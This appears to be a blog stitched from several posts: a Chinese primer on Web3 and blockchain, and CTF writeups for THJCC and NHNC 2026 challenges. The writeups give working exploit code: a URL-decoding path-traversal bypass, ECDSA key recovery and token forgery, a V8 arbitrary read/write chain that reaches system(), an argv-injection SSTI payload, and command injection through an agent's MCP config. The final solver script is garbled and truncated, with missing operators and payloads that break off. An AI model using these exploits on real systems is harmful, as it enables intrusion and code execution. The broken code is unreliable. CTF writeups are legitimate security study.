import jakarta.servlet.Filter;
import jakarta.servlet.FilterChain;
import jakarta.servlet.ServletException;
import jakarta.servlet.ServletRequest;
import jakarta.servlet.ServletResponse;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import org.springframework.boot.web.servlet.FilterRegistrationBean;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;

import java.io.IOException;
import java.nio.charset.StandardCharsets;
import java.util.regex.Pattern;

public class PathGuardFilter implements Filter {

    private static final Pattern[] RULES = {
            Pattern.compile("\\.\\."),
            Pattern.compile("(?i)%2e"),
            Pattern.compile("(?i)%2f"),
            Pattern.compile("(?i)%5c"),
            Pattern.compile("\\\\"),
            Pattern.compile("^/"),
            Pattern.compile("\\x00")
    };

    @Override
    public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain)
            throws IOException, ServletException {

        HttpServletRequest request = (HttpServletRequest) req;

        if (rejected(request.getQueryString())) {
            block((HttpServletResponse) res);
            return;
        }

        for (String[] values : request.getParameterMap().values()) {
            for (String value : values) {
                if (rejected(value)) {
                    block((HttpServletResponse) res);
                    return;
                }
            }
        }

        chain.doFilter(req, res);
    }

    private boolean rejected(String input) {
        if (input == null || input.isEmpty()) {
            return false;
        }

        for (Pattern rule : RULES) {
            if (rule.matcher(input).find()) {
                return true;
            }
        }

        return false;
    }

    private void block(HttpServletResponse response) throws IOException {
        response.setStatus(HttpServletResponse.SC_FORBIDDEN);
        response.setContentType("text/plain;charset=UTF-8");
        response.setCharacterEncoding(StandardCharsets.UTF_8.name());
        response.getWriter().write("u are blocked XD");
    }

    @Configuration
    public static class Registration {
        @Bean
        public FilterRegistrationBean pathGuard() {
            FilterRegistrationBean bean = new FilterRegistrationBean<>();
            bean.setFilter(new PathGuardFilter());
            bean.addUrlPatterns("/api/*");
            bean.setOrder(1);
            return bean;
        }
    }
}

Take a close look at this line in NoteController.java:

String name = URLDecoder.decode(f, StandardCharsets.UTF_8);

The filter checks the parameter value after Tomcat has already decoded it once.

Then the controller calls URLDecoder.decode() on it again.

In other words, the filter and the controller are not actually looking at the same string.

So all we need is an encoding that does not look like ../ to the filter’s regex, but that URLDecoder will decode into ../.

Looking at the JDK 17 implementation of URLDecoder.decode():

source

the loop that processes % sequences looks like this:

while ( ((i+2) < numChars) && (c=='%')) {
    int v = Integer.parseInt(s, i + 1, i + 3, 16);
    if (v < 0)
        throw new IllegalArgumentException(...);
    bytes[pos++] = (byte) v;
    i += 3;
    if (i < numChars)
        c = s.charAt(i);
}

P.S. This challenge uses an older version. The newer implementation has already fixed this behavior:

link

The important line is:

Integer.parseInt(s, i+1, i+3, 16)

Internally, this uses Character.digit().

Looking at the Javadoc, we can see that it accepts Unicode decimal digits and Latin letters, not only ASCII characters.

For example:

Character.digit('２', 16) == 2      // U+FF12
Character.digit('ｅ', 16) == 14     // U+FF45

Therefore:

URLDecoder.decode("%２ｅ")

decodes to:

.

So the payload simply replaces the hexadecimal digits with full-width characters while leaving % as a normal ASCII percent sign:

%２ｅ%２ｅ%２ｆ%２ｅ%２ｅ%２ｆflag.txt

Then call the API:

curl 'http://chal.thjcc.org:12024/api/read?f=%25%EF%BC%92%EF%BD%85%25%EF%BC%92%EF%BD%85%25%EF%BC%92%EF%BD%86%25%EF%BC%92%EF%BD%85%25%EF%BC%92%EF%BD%85%25%EF%BC%92%EF%BD%86flag.txt'

The inspiration for this challenge came from Black Hat Asia 2026:

material

I happened to come across it one day while searching for references.

What is Web3?

xzhiyouu62 — 2026-07-24T00:00:00.000Z

前言

因為暑假實在是太無聊了，加上對 Web3 有些興趣，所以就利用時間來學習一下。
很多內容都是參考以太坊官網以及bilibili上的影片，有錯誤請見諒🙏

什麼是 Web 3？

先來說說什麼是 Web 1.0 和 Web 2.0吧，Web 1.0的特性是只能讀，意思就是只能上網讀資訊，像是平常瀏覽網頁這種就算，到了 Web 2.0 我們能夠讀也能夠寫，像是使用社群時，我們不僅可以看到朋友們的貼文，也能夠在貼文底下留言，除了讀，也可以寫資訊。那在 Web 3.0 的時代裡強調使用者可以直接控制自己的數位資產以及部分數位身分與資料，而不需要完全依賴中心化平台。

什麼是區塊鏈？

常常聽到區塊鏈與去中心化這個名詞綁在一起，那什麼是區塊鏈，去中心化又是什麼呢？在傳統系統通常會由一個中央機構（例如銀行）負責管理所有資料，而區塊鏈則是將資料分散儲存在世界各地的節點中，區塊鏈會將帳本分散儲存在許多節點中，每個完整節點都保存一份完整的帳本。當有人發起一筆交易時，是由網路中的節點共同驗證，確認交易合法後才會寫入區塊，並永久保存。

區塊鏈之三大核心

去中心化

去中心化代表沒有任何一個單位擁有絕對控制權，也就是說交易不需要依賴單一中心化機構進行驗證，而是由整個區塊鏈網路共同驗證交易。

共識

因為沒有像傳統金融那樣有中央管理者，因此所有節點必須透過共識來決定哪些交易是真實且有效的，只有當大部分節點都同意後，交易才會被加入區塊鏈，那要怎麼決定主要會由工作量證明及權益證明，也就是 PoW (Proof of Work) 和 PoS (Proof of Stake) 來決定。

不可竄改

區塊鏈中的每個區塊都包含前一個區塊的 Hash，形成首尾相連的鏈狀結構。如果有人試圖修改已經寫入的資料，後續所有區塊的雜湊值都會改變，因此很容易被其他節點發現，使得資料難以被竄改。

女巫攻擊（Sybil Attack）

攻擊者通過創建多個虛假身分來操控和破壞網路系統，控制多數節點來影響共識過程或干擾網路正常運行，而區塊鏈會透過共識演算法提高攻擊成本，避免任何人可以輕易建立大量節點來控制網路。

共識演算法

Proof of Work（PoW）

中文叫工作量證明，節點需要消耗大量運算能力來解決數學難題，也就是俗稱的挖礦。第一個成功找到符合條件雜湊值的礦工，可以提出新的區塊，經其他節點驗證後獲得區塊獎勵與交易手續費，Bitcoin 採用 PoW，因此礦工會投入大量算力競爭記帳權，以獲得區塊獎勵及交易手續費。

Proof of Stake（PoS）

PoS 的出現主要是希望取代 PoW 來減少挖礦的大量運算，因為 PoW 比的是誰算力強，而在 PoS ，驗證者需要質押一定數量的加密貨幣作為權益，通常質押越多，被選中產生下一個區塊的機率越高。

以太坊合併

2022 年，以太坊完成合併，也就是說，PoS 正式取代 PoW，帶來的影響包括不再需要礦工挖礦及能源消耗降低許多等。
詳細一點可以參考以太坊官網：https://ethereum.org/roadmap/merge/

以太坊智能合約

智能合約是一種自執行的合約，合同條款直接寫入代碼中，並在區塊鏈網路上運行。當預先設定的條件成立時，智能合約便會自動執行程式碼，無須第三方介入。

特色

去中心化
數據透明
不可竄改
降低交易對手風險

典型應用

去中心化金融(DeFi)
非同質化通證(NFT)
去中心化自治組織(DAO)

NHNC CTF 2026 writeup

xzhiyouu62 — 2026-07-07T00:00:00.000Z

跟新加入的臺灣學生戰隊 RCEs 第一次打比賽，拿了學生組第一。

感謝各位大佬帶我飛🙏

Talking to the Sun

Author: whale120

使用者可以註冊、登入，然後產生一段 lyric line。伺服器會對 {account, message} 做 ECDSA 簽章，並把結果包成 token，目標是提交一個通過驗證、且 account == whale@whale-tw.com 的 token，驗證成功後 /api/verify 會回傳 flag。

Exploit:

多個不同帳號共用同一個 stored account
ECDSA nonce 高 384 bits 相同
Hidden Number Problem
LLL 還原私鑰
偽造 admin token 拿 flag

solver.py

#!/usr/bin/env python3
import base64, hashlib, json, secrets, requests
from urllib.parse import urljoin
from ecdsa.curves import BRAINPOOLP512r1
from fpylll import IntegerMatrix, LLL

BASE = "change challenge url here"
SAMPLES = 6
B = 1 << 128
ADMIN = "whale@whale-tw.com"
TARGET = "SinGen Said: At sunrise, when it answers over my signal, I sit by the sun."

def b64e(x): return base64.urlsafe_b64encode(x).rstrip(b"=").decode()
def b64d(x): return base64.urlsafe_b64decode(x + "=" * (-len(x) % 4))

def payload(a, m):
    return json.dumps({"account": a, "message": m}, ensure_ascii=False,
                      sort_keys=True, separators=(",", ":"))

def z(a, m):
    return int.from_bytes(hashlib.sha512(payload(a, m).encode()).digest(), "big")

def parse(t, size):
    _, p, sig = t.split(".")
    p, sig = json.loads(b64d(p)), b64d(sig)
    a, m = p["account"], p["message"]
    r = int.from_bytes(sig[:size], "big")
    s = int.from_bytes(sig[size:], "big")
    return a, m, r, s, z(a, m)

def fake_mail(i):
    return "a@b." + "\u0130" * 32766 + f"x{i}{secrets.token_hex(8)}.com"

def mat(rows):
    M = IntegerMatrix(len(rows), len(rows[0]))
    for i in range(len(rows)):
        for j in range(len(rows[0])):
            M[i, j] = int(rows[i][j])
    return M

def center(x, n):
    x %= n
    return x - n if x > n // 2 else x

def collect():
    base = BASE.rstrip("/") + "/"
    info = requests.get(urljoin(base, "/api/info")).json()
    n, size = int(info["order"]), int(info["order_bytes"])
    sigs = []

    for i in range(SAMPLES):
        s = requests.Session()
        mail = fake_mail(i)
        pw = "A" * 16

        s.post(urljoin(base, "/register"), data={"email": mail, "password": pw})
        s.post(urljoin(base, "/login"), data={"email": mail, "password": pw})

        opt = {
            "time": i % 50,
            "motion": (i * 7 + 1) % 50,
            "place": (i * 11 + 2) % 50,
            "seat": (i * 13 + 3) % 50,
        }

        token = s.post(urljoin(base, "/api/generate"), json=opt).json()["token"]
        sigs.append(parse(token, size))

    return base, info, n, size, sigs

def recover(n, sigs):
    r0, s0, h0 = sigs[0][2], sigs[0][3], sigs[0][4]
    inv = pow(s0, -1, n)
    a0, c0 = r0 * inv % n, h0 * inv % n

    A, C = [], []
    for _, _, r, s, h in sigs[1:]:
        inv = pow(s, -1, n)
        A.append((r * inv - a0) % n)
        C.append((h * inv - c0) % n)

    for m in range(2, min(len(A), 8) + 1):
        rows = []
        for i in range(m):
            row = [0] * (m + 1)
            row[i] = n * n
            rows.append(row)

        rows.append([x * n for x in A[:m]] + [B])
        target = [-x * n for x in C[:m]] + [0]
        weight = B * n

        L = mat([r + [0] for r in rows] + [target + [weight]])
        LLL.reduction(L)

        for i in range(L.nrows):
            row = [int(L[i, j]) for j in range(L.ncols)]
            if abs(row[-1]) != weight:
                continue

            row = [(1 if row[-1] > 0 else -1) * x for x in row[:-1]]

            for a, c, v in zip(A[:m], C[:m], row[:m]):
                if v % n:
                    continue

                for e in (v // n, -v // n):
                    d = (e - c) * pow(a, -1, n) % n
                    if all(abs(center(a * d + c, n)) < B for a, c in zip(A, C)):
                        return d

def sign(a, m, d, n, size):
    G = BRAINPOOLP512r1.generator
    h = z(a, m)

    while True:
        k = secrets.randbelow(n - 1) + 1
        r = (k * G).x() % n
        s = pow(k, -1, n) * (h + r * d) % n
        if r and s:
            sig = r.to_bytes(size, "big") + s.to_bytes(size, "big")
            return "singen." + b64e(payload(a, m).encode()) + "." + b64e(sig)

base, info, n, size, sigs = collect()
d = recover(n, sigs)
admin = info.get("admin_account", ADMIN)
target = info.get("target", TARGET)
token = sign(admin, target, d, n, size)
print(requests.post(urljoin(base, "/api/verify"), json={"token": token}).text)

Web3JS

Author: whale120

題目提供一個被修改過的 d8，裡面多了一個 evm() API。使用者送 base64 encoded JavaScript 給服務端執行。目標是利用自訂 EVM binding 的漏洞，在 V8 裡拿到 arbitrary read/write，最後呼叫 hidden v8::Shell::System執行 /readflag 拿 flag。

Exploit:

vm.push(obj) 會把 JS object 的 raw tagged pointer 放進 EVM stack
vm.stack() 可以把這個值讀出來，形成 addrof
vm.get(idx) 沒有檢查 stack 下界，vm.get(0) 可以讀到 stack[-1]
用 MSTORE8 在 EVM memory 裡偽造 stack slot，讓 vm.get(0) 回傳任意 tagged pointer，形成 fakeobj
偽造 PACKED_DOUBLE JSArray，得到 heap arbitrary read/write
找到 d8.file.exists 的 FunctionTemplateInfo.callback
把 callback 從 v8::Shell::FileExists 改成 v8::Shell::System
呼叫 d8.file.exists('/readflag')，實際會變成 system('/readflag')

exploit.js

const convBuf = new ArrayBuffer(8);
const f64 = new Float64Array(convBuf);
const u64 = new BigUint64Array(convBuf);

function ftoi(x) {
  f64[0] = x;
  return u64[0];
}

function itof(x) {
  u64[0] = x;
  return f64[0];
}

function addrof(obj) {
  const vm = evm('00');
  vm.push(obj);
  return BigInt(vm.stack(1)[0]);
}

function writeByte(vm, off, val) {
  vm.push(val & 0xff);
  vm.push(off);
  vm.step();
}

function fakeobj(addr) {
  const vm = evm('53'.repeat(16));
  const fakeSlotOff = 0xffd8;

  for (let i = 0; i < 8; i++) {
    writeByte(vm, fakeSlotOff + i, i === 0 ? 1 : 0);
  }

  for (let i = 0; i < 8; i++) {
    writeByte(vm, fakeSlotOff + 8 + i, Number((addr >> BigInt(8 * i)) & 0xffn));
  }

  return vm.get(0);
}

const container = [1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8];

const containerAddr = addrof(container);
const elementsAddr = containerAddr - 0x48n;
const fakeArrayAddr = elementsAddr + 0x8n;

const PACKED_DOUBLE_ARRAY_MAP = 0x0100d30dn;
const EMPTY_FIXED_ARRAY = 0x000007e5n;

container[0] = itof((EMPTY_FIXED_ARRAY << 32n) | PACKED_DOUBLE_ARRAY_MAP);
container[1] = itof((0x100n << 32n) | (elementsAddr & 0xffffffffn));

const fakeArray = fakeobj(fakeArrayAddr);

function setFakeElements(addr) {
  container[1] = itof((0x100n << 32n) | ((addr - 8n + 1n) & 0xffffffffn));
}

function aar64(addr) {
  setFakeElements(addr);
  return ftoi(fakeArray[0]);
}

function aaw64(addr, val) {
  setFakeElements(addr);
  fakeArray[0] = itof(val);
}

function fullPtr(compressed) {
  return (containerAddr & 0xffffffff00000000n) | compressed;
}

const target = d8.file.exists;
const targetAddr = addrof(target);

const sfi = fullPtr(aar64(targetAddr - 1n + 16n) & 0xffffffffn);
const functionTemplateInfo = fullPtr(aar64(sfi - 1n + 8n) & 0xffffffffn);

const callbackField = functionTemplateInfo - 1n + 60n;
const fileExistsCallback = aar64(callbackField);

const shellSystem = fileExistsCallback - 0x1a80n;

aaw64(callbackField, shellSystem);

print(d8.file.exists('/readflag'));

#include

Author: solarfish

打開前端可以看到它會檢查 URL：

if (!/^https?:\/\//i.test(url)) {
  result.textContent = 'URL must start with http:// or https://';
  return;
}

看起來只能丟 http:// 或 https://，但這只是前端檢查，所以其實直接打 /convert 就可以繞過。

不過這題有 reCAPTCHA，所以我最後是直接在瀏覽器解完 captcha 後，開 Console 送 file://。

async function leak(url, name = 'out.pdf') {
  const token = grecaptcha.getResponse();

  const body = new URLSearchParams();
  body.set('url', url);
  body.set('g-recaptcha-response', token);

  const r = await fetch('/convert', {
    method: 'POST',
    body
  });

  if (!r.ok) {
    console.log(await r.text());
    grecaptcha.reset();
    return;
  }

  const blob = await r.blob();
  const blobUrl = URL.createObjectURL(blob);
  const a = document.createElement('a');
  a.href = blobUrl;
  a.download = name;
  a.click();
  URL.revokeObjectURL(blobUrl);

  grecaptcha.reset();
}

然後直接讀 source：

leak('file:///proc/self/cwd/server.js', 'server.pdf');

下載 PDF 後就可以看到後端 source

重點在這段：

async function points_to_local_directory(input) {
  let url;
  try {
    url = new URL(input);
  } catch {
    return false;
  }

  if (url.protocol !== 'file:') {
    return false;
  }

  try {
    return (await fs.stat(file_url_to_path(url))).isDirectory();
  } catch {
    return false;
  }
}

它只有擋 file:// 指到資料夾的情況。

所以像這個會被擋：

file:///proc/self/cwd/

但這種讀檔案的就不會：

file:///proc/self/cwd/server.js

因此可以直接把 server.js 抓下來轉成 PDF 然後就可以看到 flag了

Farewell, #include

Author: solarfish

題目 hint 有說可以用上一題的方法先拿資訊，所以一開始一樣先用 file:// 讀 source。

這次沒有 captcha，可以直接打 /convert：

BASE='challenge url here'

curl -s -X POST "$BASE/convert" \
  --data-urlencode 'url=file:///proc/self/cwd/server.js' \
  -o server.pdf

然後再讀 package.json：

curl -s -X POST "$BASE/convert" \
  --data-urlencode 'url=file:///proc/self/cwd/package.json' \
  -o package.pdf

可以看到這題多了 mdpdf，而且 server.js 也多了幾種 converter：

if (converter === 'standard-pdf') {
  result = await run_html_pdf_node(urls);
} else if (converter === 'lite-pdf') {
  result = await run_percollate(urls);
} else if (converter === 'markdown-pdf') {
  result = await run_md_pdf(urls);
}

看 run_percollate：

function run_percollate(user_input) {
  return new Promise(resolve => {
    const job = create_job('lite-pdf');
    const urls = getallurl(user_input);

    const args = [
      'pdf',
      '--no-sandbox',
      '--output',
      path.resolve(job.output_path),
      ...urls
    ];

    const child = spawn(process.execPath, [percollate_cli, ...args], {
      cwd: work_dir,
      stdio: ['ignore', 'ignore', 'ignore'],
      env: {
        ...process.env,
        PUPPETEER_EXECUTABLE_PATH:
          process.env.PUPPETEER_EXECUTABLE_PATH ||
          '/usr/bin/chromium'
      }
    });
  });
}

這邊把使用者輸入直接接到 percollate 的 argv 後面。

而 getallurl 只是用空白切開：

function getallurl(input) {
  return String(input || '')
    .trim()
    .split(/\s+/)
    .filter(Boolean);
}

我可以把 URL 寫成：

--title=ARG_INJECTION_TEST
https://example.com

測試：

cat > payload.txt <<'EOF'
--title=ARG_INJECTION_TEST
https://example.com
EOF

curl -s -X POST "$BASE/convert" \
  --data-urlencode 'converter=lite-pdf' \
  --data-urlencode url@payload.txt \
  -o argtest.pdf

載下來後發現

代表 --title 被 percollate 當成 option 吃進去了。

接著去 leak percollate 的 source：

curl -s -X POST "$BASE/convert" \
  --data-urlencode 'converter=standard-pdf' \
  --data-urlencode 'url=file:///app/lib/percollate/src/cli-opts.js' \
  -o cli-opts.pdf

可以看到 --template、--title 都是合法 option：

let opts_with_optarg = new Set([
  'output',
  'template',
  'style',
  'css',
  'url',
  'wait',
  'title',
  'author',
  'browser',
  'toc-level',
]);

再看 /app/lib/percollate/index.js：

curl -s -X POST "$BASE/convert" \
  --data-urlencode 'converter=standard-pdf' \
  --data-urlencode 'url=file:///app/lib/percollate/index.js' \
  -o percollate-index.pdf

裡面會讀 template，然後丟給 Nunjucks render：

const html = nunjucks.renderString(
  await readFile(options.template || DEFAULT_TEMPLATE, 'utf8'),
  {
    filetype: 'pdf',
    title,
    author,
    date: new Date(),
    items,
    style,
    options: {
      use_toc,
      use_cover:
        options.cover ||
        (options.cover !== false &&
          (options.title || items.length > 1))
    }
  }
);

所以只要能控制 --template，就可以控制 Nunjucks template。

問題是 --template 要本機 path，不是 HTTP URL。

這邊可以用一個 Linux trick：

/proc/self/cmdline

這個檔案會包含目前 process 的 argv。

而我們剛好可以控制 argv，所以可以讓 percollate 讀自己的 argv，並且把它當成 Nunjucks template render。

測 SSTI：

cat > payload.txt <<'EOF'
--template=/proc/self/cmdline
--title={{range.constructor("return(7*7)")()}}
https://example.com
EOF

curl -s -X POST "$BASE/convert" \
  --data-urlencode 'converter=lite-pdf' \
  --data-urlencode url@payload.txt \
  -o ssti-test.pdf

輸出裡可以看到：

執行 /readflag，它會回：

Usage: /readflag give me the flag

所以要執行的是 /readflag give me the flag

但是 payload 不能有空白，因為 server 會先 .split(/\s+/)。

所以不能直接：

execSync('/readflag give me the flag')

改用 Node.js 的 spawn_sync，用 argv array 傳參數：

args:['/readflag','give','me','the','flag']

最後 payload：

cat > payload.txt <<'EOF'
--template=/proc/self/cmdline
--title={{range.constructor("r=process.binding('spawn_sync').spawn({file:'/readflag',args:['/readflag','give','me','the','flag'],cwd:'/tmp',envPairs:Object.entries(process.env).map(e=>e[0]+'='+e[1]),stdio:[{type:'pipe',readable:true,writable:false},{type:'pipe',readable:false,writable:true},{type:'pipe',readable:false,writable:true}]});return(r.output[1].toString()+r.output[2].toString())")()}}
https://example.com
EOF

curl -s -X POST "$BASE/convert" \
  --data-urlencode 'converter=lite-pdf' \
  --data-urlencode url@payload.txt \
  -o flag.pdf

就可以看到 flag：

Camel rider

Author: Frank

這題是一個黑箱 Perl Jail

Exploit:

open、readline、require、eval、system/qx 等危險關鍵字被 blacklist
flag.txt 本身沒有被擋
ARGV 也沒有被擋
Perl 的可以讀取 @ARGV 裡指定的檔案
用具名 diamond operator 避開被擋的 <>

最後 payload：

@ARGV=q(flag.txt);print

travel again

Author: yochan06

通靈出應該在北海道，經過Google後發現這兩尊跟圖片上的幾乎一樣https://www.town.shikaoi.lg.jp/kurashi/kyoiku_bunka/history/shiseki_guide/n127/

Flag: NHNC{43.1849,143.0325}

Homework

Author: ConsoleBreak

這題表面上是一個 matrix calculator，使用者可以輸入 X、Y 兩個矩陣和 operation。實際上程式有一個隱藏 operation blend ，可以透過 shift 對 heap 上的 Real array 做越界存取。題目 debug 資訊會提示 Y[0][0] 到內部矩陣 A[0][1] 的距離剛好是 3 個 Real，所以用 blend 3 可以控制 A[0][1]。通過檢查後，程式會 leak n、a_plus_d、bc、C，再要求輸入隨機字串 T，最後用矩陣關係把 T 反推回來即可拿 flag。

Exploit:

設定 X、Y 都是 1x1 matrix
使用隱藏 operation blend 3
因為 Y[0][0] + 3 * sizeof(Real) == A[0][1]，所以可以覆寫 A[0][1]
令 X = 0、Y = 1e80，讓 A[0][1] = 1e80
程式會 leak n、a_plus_d、bc、C
已知 b = 1e80，所以可以算出 c = bc / b
建立 companion matrix [[0, b], [c, a_plus_d]] ** n
對每個 C[i] 反推第一個座標，也就是 ord(T[i])
組回 T 後送回程式取得 flag

solver.py

#!/usr/bin/env python3
from pwn import *
from decimal import *
import re, sys

context.log_level = "error"
getcontext().prec = 650
getcontext().Emax = 999999999
getcontext().Emin = -999999999

E = 80
B = Decimal(10) ** E

io = remote(sys.argv[1], int(sys.argv[2])) if len(sys.argv) == 3 else process(sys.argv[1])

io.send(
    b"1 1\n1 1\n0\n" +
    (b"1" + b"0" * E) + b"\n"
    b"blend 3\n"
)

s = io.recvuntil(b"T:").decode(errors="ignore")

n = int(re.search(r"n = (\d+)", s).group(1))
tr = Decimal(re.search(r"a_plus_d = ([^\n]+)", s).group(1))
bc = Decimal(re.search(r"bc = ([^\n]+)", s).group(1))
nums = [Decimal(x) for x in re.findall(r"[-+]?\d+(?:\.\d+)?e[+-]?\d+", s.split("C = ", 1)[1])]

def mul(a, b):
    return [
        [a[0][0]*b[0][0]+a[0][1]*b[1][0], a[0][0]*b[0][1]+a[0][1]*b[1][1]],
        [a[1][0]*b[0][0]+a[1][1]*b[1][0], a[1][0]*b[0][1]+a[1][1]*b[1][1]],
    ]

m = [[Decimal(0), B], [bc / B, tr]]
r = [[Decimal(1), Decimal(0)], [Decimal(0), Decimal(1)]]

while n:
    if n & 1:
        r = mul(r, m)
    m = mul(m, m)
    n >>= 1

det = (-bc) ** int(re.search(r"n = (\d+)", s).group(1))
T = ""

for x, y in zip(nums[::2], nums[1::2]):
    v = (r[1][1] * x - r[0][1] * y) / det
    T += chr(int(v.to_integral_value(rounding=ROUND_HALF_EVEN)))

io.sendline(T.encode())
print(io.recvall(timeout=2).decode(errors="ignore"), end="")

Tea-agent

Author: LemonTea

題目讓使用者上傳 MCP config，agent 會檢查 command 必須是 /app/mcp_memory，但啟動 server 時把 args 直接接進 shell command，沒有正確 quote，導致可以在參數裡插入 ; 做 command injection。因為 cat /flag 被擋，所以改用 dd 讀出 flag。


Exploit:

command 保持 /app/mcp_memory 通過 allowlist
在 --profile 參數插入 ;dd

shell 實際執行 /app/mcp_memory --profile=guest;dd

dd 讀取 /flag 並輸出到 MCP stdout


payload.json

{
  "mcpServers": {
    "x": {
      "command": "/app/mcp_memory",
      "args": [
        "--profile=guest;dd

I Love Proxy

Author: LemonTea

題目有一個對外的 edge-httpd proxy，內部還有一個只 expose 在 docker network 的 courier:7000。edge-httpd 的 UDP control plane 可以註冊 proxy route，但 activation 的 global key 是由攻擊者給的 seed 算出來的，沒有真正認證，所以可以註冊 /H -> courier:7000。接著利用 courier.cgi 的 hidden route hash、header hash padding、長 Host 檢查與偽造 body command object，最後觸發 run_filter("cat /flag.txt") 拿 flag。
Exploit:

逆 edge-httpd 發現 UDP control plane 可以新增 route
送 activation packet，自己算出 global key
送 route registration packet，註冊 /H -> courier:7000
逆 courier.cgi 找到 hidden route：suffix_hash_is(PATH_INFO, 10, 0x26045b27)
使用同時滿足 suffix hash / full path hash 的 path：/H=\xc8\x01\x01\xc8/1kVa/6.9R
用 X-Pad 讓 raw header 的 FNV hash 變成指定 tag
用超長 Host header 通過 host/body chain check
在 512-byte body 裡偽造 courier 的 command object
command 設成 cat /flag.txt，callback 指到 run_filter


solver.py

#!/usr/bin/env python3
import re, socket, struct, sys, time
from urllib.parse import urlparse

M32 = 0xffffffff
M64 = 0xffffffffffffffff

def rol32(x,r): return ((x<>(32-r))) & M32
def ror32(x,r): return ((x>>r)|(x<<(32-r))) & M32
def rol64(x,r):
    x &= M64; r &= 63
    return ((x<>(64-r))) & M64
def ror64(x,r):
    x &= M64; r &= 63
    return ((x>>r)|(x<<(64-r))) & M64

def mix64(x):
    x &= M64
    x = ((x ^ (x >> 30)) * 0xbf58476d1ce4e5b9) & M64
    x = ((x ^ (x >> 27)) * 0x94d049bb133111eb) & M64
    return (x ^ (x >> 31)) & M64

def fnv(d, h=0x811c9dc5):
    for c in d:
        h = ((h ^ c) * 0x1000193) & M32
    return h

def csum(d, seed):
    r11 = (seed & 0xff) ^ len(d) ^ 0x9e3779b9
    edi = seed & M32
    r10 = seed & 0xff
    for i,b in enumerate(d):
        x = (b + (edi & 0xff)) & M32
        m = (i ^ r10) & 3
        if m == 1:
            x = (rol32(x ^ 0x41, (i & 7) + 3) + r11) & M32
        elif m == 2:
            x = ror32((x * 0x10101) & M32, (i & 7) + 1) ^ r11
        elif m == 0:
            x = ((x << ((i & 3) * 8)) & M32) ^ r11
        else:
            x = (((r11 >> 11) ^ x) + r11) & M32
        edi = (edi + 0x11) & M32
        r11 = ((rol32(x, 5) * 0x45d9f3b) + 0x27100001) & M32
    return (r11 ^ 0xa5c31e2d) & M32

def edge_key(seed):
    ebx = int.from_bytes(seed.to_bytes(4, "big"), "little")
    a = (((seed ^ 0x7f4a7c15) * 0x45d9f3b + 0x27100001) & M32)
    a = rol32(a, ((ebx >> 24) & 7) + 5)
    b = ror32((seed - 0x5a3ce1d3) & M32, ((ebx >> 16) & 7) + 3)
    return 0x31415927 if a == b else (a ^ b) & M32

def activation(seed=0x12345678):
    p = bytearray(b"\x89\x54\x32\x17" + bytes([3,0x36]) + seed.to_bytes(4,"big") + b"\0"*4)
    p[10:14] = csum(p[4:10], (seed ^ 0xa7) & 0xff).to_bytes(4,"big")
    return bytes(p), edge_key(seed)

def route_pkt(key, route=b"/H", up=b"courier:7000"):
    k = 0x42
    dec = k ^ 0xa7
    er = bytes(c ^ ((0x31 + 13*i) & 0xff) ^ dec for i,c in enumerate(route))
    eu = bytes(c ^ ((0x31 + 13*i) & 0xff) ^ dec for i,c in enumerate(up))
    p = bytearray(b"\x89\x54\x32\x17" + bytes([3,0x71,0x22,k]))
    p += len(route).to_bytes(2,"big") + len(up).to_bytes(2,"big") + key.to_bytes(4,"big")
    p += er + eu
    p += csum(p[4:], (k ^ 0xa7) & 0xff).to_bytes(4,"big")
    return bytes(p)

def mark(tag,bucket,pressure):
    x = ((pressure << 9) ^ (tag << 21) ^ bucket ^ 0x434f555249455237) & M64
    return rol64((x * 0x9e3779b97f4a7c15) & M64, (tag & 0xf) + 7) ^ 0xa24baed4963ee407

def slot(tag,bucket,pressure,n):
    return mix64((tag<<32) ^ (pressure<<7) ^ ((n*0x9e3779b97f4a7c15)&M64) ^ (bucket<<19) ^ 0x6c61796f75745f30) & 3

def slide(tag,bucket,pressure,gate,n):
    x = ((n*0xd6e8feb86659fd93)&M64) ^ gate ^ mark(tag,bucket,pressure) ^ (tag<<23) ^ (pressure<<51) ^ 0x736c6964655f3130
    return (mix64(x) % 3) * 8

def stream(tag,bucket,pressure,gate,i,l):
    x = (pressure<<19) ^ i ^ (l<<7) ^ rol64(gate,(i&15)+3) ^ (tag<<32) ^ 0x544150455f4c4f47
    x = (x + ((i*0x9e3779b97f4a7c15)&M64) + mark(tag,bucket,pressure)) & M64
    y = mix64(x)
    return (y ^ (y >> 17) ^ (y >> 41)) & M32

def cmdhash(enc,tag,bucket,pressure,gate):
    v = (tag ^ ((pressure * 0x45d9f3b) & M32) ^ len(enc) ^ 0x811c9dc5) & M32
    for i,b in enumerate(enc):
        v = (((b + (stream(tag,bucket,pressure,gate,i,len(enc)) & 0xff)) ^ v) * 0x1000193) & M32
        v ^= v >> 13
    return (v ^ 0x6d2b79f5) & M32

def req():
    n, tag, bucket, pressure = 512, 0x0d45c059, 17, 29
    path = b"/H=\xc8\x01\x01\xc8/1kVa/6.9R"
    gate = mix64((bucket << 44) ^ (pressure << 19) ^ 0x484570243e202f2c)
    host12 = ((n << 7) ^ gate ^ 0x5353495f504f5354) & 0xffffffffffff

    h = [
        b"POST " + path + b" HTTP/1.1",
        b"Host: " + b"A"*0x558 + f"{host12:012x}".encode(),
        b"XXGATS_IGC: z",
        b"Content-Length: 512",
        b"-tveemh: raw",
    ] + [b"x-render-worker: z"] * 30
    head = b"\r\n".join(h) + b"\r\nX-Pad: " + bytes.fromhex("b97455010105") + b"\r\n\r\n"

    body = bytearray(b"\0" * n)
    mk = mark(tag,bucket,pressure)
    key = mix64((tag << 11) ^ (pressure << 47) ^ gate ^ 0x6a73696d705f6275)

    body[0x49:0x51] = struct.pack("> 16)) * 0x7feb352d) & M32
    x = (x ^ (x >> 15)) & M32
    dst = (x & 7) + sl

    def put(o,d):
        body[o-dst:o-dst+len(d)] = d

    xgm = gate ^ mk
    seed = mix64((tag<<32) ^ (pressure<<23) ^ (st<<57) ^ ((n*0x94d049bb133111eb)&M64) ^ (sl<<48) ^ xgm ^ 0x7072656c75646531)
    put(0x107, struct.pack(">(i&7)) ^ (tag>>(8*(i&3)))) & 0xff for i in range(17)))

    cache = mix64((tag<<33) ^ (pressure<<48) ^ (st<<12) ^ ((n*0xa24baed4963ee407)&M64) ^ (sl<<56) ^ xgm ^ 0x7463616368655f31)
    put(0x126, struct.pack("


TEAGod Tech Staff WiFi

Author: chilin.h

